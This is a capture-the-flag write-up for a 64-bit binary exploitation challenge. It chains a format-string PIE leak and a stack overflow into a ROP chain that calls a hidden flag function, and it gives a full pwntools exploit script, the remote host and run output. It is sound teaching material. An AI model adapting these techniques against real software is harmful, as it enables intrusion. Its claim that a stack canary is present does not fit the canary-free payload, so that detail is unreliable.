Challenge Name: JUJUTSU HIGH: Cursed Archive
Category: PWN
CTF: CyberSummit V4.0 CTF
Description: Inside Tokyo Jujutsu High lies a forbidden archive where cursed verses are recorded. The records echo your words… but echoes in this place can betray more than intended. Only a sorcerer who understands resonance and domain rituals can unlock the sealed truth.
Connection: nc 172.205.208.94 9005
Challenge Overview#
Cursed Archive: Infinite Echo is a two-stage binary exploitation challenge with a Jujutsu Kaisen themed menu flow.
Files handed in the challenge: main, libc.so.6, and ld-linux-x86-64.so.2.
The bug chain combines:
- A format string vulnerability used to leak a runtime code pointer.
- A stack overflow in a second input path for control-flow hijack.
- Modern mitigations (PIE, NX, canary, Full RELRO) that require leak-then-ROP.
Initial Reconnaissance#
Binary Information#
$ file main
main: ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped
Security Features#
- NX (Non-Executable Stack): Enabled
- PIE: Enabled
- Full RELRO: Enabled
- Stack Canary: Present
Key Observations#
The interaction flow separates two user-controlled stages:
1) Resonance Reading
-> phrase is printed with printf(user_input)
2) Archive Entry
-> oversized read into stack buffer
This directly suggests a leak first, then a ROP-based hijack.
Vulnerability Analysis#
Format String Leak in Resonance Reading#
The first stage prints input unsafely:
printf(phrase);
A stable positional leak is:
%41$pgives a return/code pointer inside the PIE image.
PIE base is recovered with:
pie_base = leaked_ptr - 0x1776
After this, gadget and function addresses are reconstructed per run.
Stack Overflow in Archive Entry#
The second stage reads up to 0x220 bytes into a smaller local buffer.
In this build, the offset to saved RIP is 0x68, so control data starts after:
0x68bytes of padding
Because the exploit path is built around this frame layout, a direct ROP chain can be placed after the padding.
Hidden Routine Gate Check#
The binary contains a hidden function, domain_expansion, that prints the flag only when called with exact magic arguments:
0x4a554a555453554c0x4b414953454e215f
If arguments do not match, the function rejects and no flag is printed.
Exploitation Strategy#
Why This Chain Works#
The format string leak removes PIE uncertainty. The overflow then takes control of RIP. Finally, a short ROP chain uses in-binary gadgets to pass both required arguments to domain_expansion and cleanly exits.
Payload Construction#
Payload layout:
- Padding (
0x68) - Stack alignment (
ret) pop rdi; ret+ first magic valuepop rsi; ret+ second magic value- Call
domain_expansion pop rdi; ret+0- Call
exit@plt
Runtime Address Calculations#
All runtime pointers are derived from PIE base:
pop_rdi = pie_base + 0x11d9
pop_rsi = pie_base + 0x11de
ret = pie_base + 0x101a
domain_expansion = pie_base + 0x13f5
exit_plt = pie_base + elf.plt['exit']
Exploit Code#
#!/usr/bin/env python3
from pwn import *
context.binary = ELF('../dlist/main', checksec=False)
elf = context.binary
KEY = 0x4a554a555453554c
SEAL = 0x4b414953454e215f
POP_RDI_OFF = 0x11d9
POP_RSI_OFF = 0x11de
RET_OFF = 0x101a
DOMAIN_EXPANSION_OFF = 0x13f5
LEAKED_RET_OFF = 0x1776
def start():
if args.REMOTE:
host = args.HOST or '172.205.208.94'
port = int(args.PORT or 9005)
return remote(host, port)
ld_path = '../dlist/ld-linux-x86-64.so.2'
return process(
[ld_path, '--library-path', '../dlist', '../dlist/main'],
stdin=PIPE,
stdout=PIPE,
stderr=PIPE,
cwd='../hosted',
)
def leak_pie(io):
io.recvuntil(b'> ')
io.sendline(b'1')
io.recvuntil(b'phrase:\n')
io.sendline(b'%41$p')
ret_into_main = int(io.recvline().strip(), 16)
pie_base = ret_into_main - LEAKED_RET_OFF
log.success(f'pie base = {hex(pie_base)}')
io.recvuntil(b'> ')
return pie_base
def trigger_domain(io, pie_base):
pop_rdi = pie_base + POP_RDI_OFF
pop_rsi = pie_base + POP_RSI_OFF
ret = pie_base + RET_OFF
domain_expansion = pie_base + DOMAIN_EXPANSION_OFF
exit_plt = pie_base + elf.plt['exit']
payload = b'A' * 0x68
payload += p64(ret)
payload += p64(pop_rdi) + p64(KEY)
payload += p64(pop_rsi) + p64(SEAL)
payload += p64(domain_expansion)
payload += p64(pop_rdi) + p64(0)
payload += p64(exit_plt)
io.sendline(b'2')
io.recvuntil(b'page:\n')
io.send(payload.ljust(0x220, b'P'))
def main():
io = start()
pie_base = leak_pie(io)
trigger_domain(io, pie_base)
data = io.recvrepeat(1.5)
print(data.decode(errors='ignore'))
if b'CyberTrace{' in data:
log.success('Flag captured successfully')
else:
log.failure('Flag not found in output')
io.close()
if __name__ == '__main__':
main()
Execution#
$ python3 solve.py REMOTE=1 HOST=172.205.208.94 PORT=9005
[+] Opening connection to 172.205.208.94 on port 9005: Done
[+] pie base = 0x732727d9f000
[Archive] The page absorbs your cursed energy.
[Domain Expansion: Infinite Archive]
CyberTrace{I_4M_N0T_Wh0_Y0uu_Th1nK_1_4M}
[+] Flag captured successfully
[*] Closed connection to 172.205.208.94 port 9005
Final Flag#
CyberTrace{I_4M_N0T_Wh0_Y0uu_Th1nK_1_4M}
Key Takeaways#
- Leak + Overflow Chaining: The format string provides a reliable PIE leak before RIP control.
- Mitigation-Aware Exploitation: PIE, NX, RELRO, and canary do not prevent exploitation when bugs are chained correctly.
- Argument-Oriented ROP: A minimal gadget set (
pop rdi,pop rsi) is enough to satisfy hidden gate checks. - Stability Matters: Chaining
exit(0)after flag output improves exploit reliability.





